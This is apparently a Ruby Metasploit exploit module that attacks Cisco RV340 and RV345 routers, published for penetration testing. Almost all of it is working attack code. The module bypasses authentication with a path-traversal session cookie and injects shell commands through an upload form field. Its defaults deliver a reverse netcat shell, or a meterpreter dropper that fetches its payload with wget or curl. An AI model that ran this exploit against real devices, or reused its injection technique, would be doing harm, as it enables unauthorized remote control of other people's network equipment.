Stephen Wildow
164 lines
5.6 KiB
Ruby
164 lines
5.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Cisco RV34X Series Authentication Bypass and Command Injection',
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'Description' => %q{
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This module exploits a sessionid directory traversal authentication bypass, a sessionid
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improper input validation authentication bypass, and command injection on Cisco RV340 and
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RV345 Small Business Routers. All vulnerabilities were discovered by Bien Pham
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at Sea Security.
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This module works on firmware versions 1.0.03.24 and below
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},
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'License' => MSF_LICENSE,
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'Platform' => ['Linux', 'Unix'],
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'Author' => [
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'Biem Pham', # Vulnerability Discoveries
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'Neterum', # Metasploit Module
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'jbaines-r7' # This metasploit module is heavily inspired from
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# cisco_rv_series_authbypass_and_rce.rb
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],
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'DisclosureDate' => '2021-11-02',
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'Arch' => [ARCH_CMD, ARCH_ARMLE],
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'References' => [
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[ 'URL', 'https://blog.security.sea.com/posts/pwn2own-2021-rv340/'], # Possibly down
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[ 'CVE', '2022-20701'],
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[ 'CVE', '2022-20705'],
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[ 'CVE', '2022-20707']
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],
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'Payload' => {
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},
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_netcat'
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}
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}
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],
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[
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'Linux Dropper',
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{
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'Platform' => 'linux',
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'Arch' => [ARCH_ARMLE],
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'Type' => :linux_dropper,
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'Payload' => {
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'BadChars' => '\''
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},
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'CmdStagerFlavor' => [ 'wget', 'curl' ],
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true,
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'MeterpreterTryToFork' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'Base path', '/'])
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]
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)
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end
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def check
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# Ripped from jbaines-r7 cisco_rv_series_authbypass_and_rce
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# Test to see if router is responding and possibly vulnerable
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res = send_exploit('id')
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return CheckCode::Unknown("Didn't receive a response from the target.") unless res
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return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200
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if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')
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return CheckCode::Appears('The device responded to exploitation with a 200 OK.')
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end
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CheckCode::Safe('The target did not respond with an expected payload.')
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end
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def execute_command(cmd, _opts = {})
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res = send_exploit(cmd)
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if target['Type'] != :unix_cmd
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fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
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body_json = res.get_json_document
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fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
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end
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print_good('Exploit successfully executed.')
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end
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def send_exploit(cmd)
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send_request_cgi( {
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'encode_params' => false,
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'method' => 'POST',
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'uri' => '/jsonrpc',
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'data' => '{"jsonrpc": "2.0", "method": "login", "params": {"user": "bienpnn", "pass": "bienpnn"}}'
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})
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filepath = '/tmp/upload.input'
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filename = 'bienpnn'
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pathparam = 'Configuration'
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fileparam = 'bienpnn'
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destination = '\'; ' + cmd + " #"
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input = 'bienpnn'
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multipart_form = Rex::MIME::Message.new
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multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
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multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
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multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
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multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
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multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
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multipart_form.add_part(input, 'application/octet-stream', nil, 'form-data; name="input"; filename="bienpnn"')
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send_request_cgi({
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'method' => 'POST',
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'uri' => '/upload',
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'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
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'headers' => {
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'Cookie' => 'sessionid =../../../etc/passwd; sessionid=aaaaaaaaaaaaaaaa'
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},
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'data' => multipart_form.to_s
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}, 10)
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end
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def exploit
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print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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case target['Type']
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when :unix_cmd
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execute_command(payload.encoded)
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when :linux_dropper
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execute_cmdstager(linemax: 120)
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end
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end
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end
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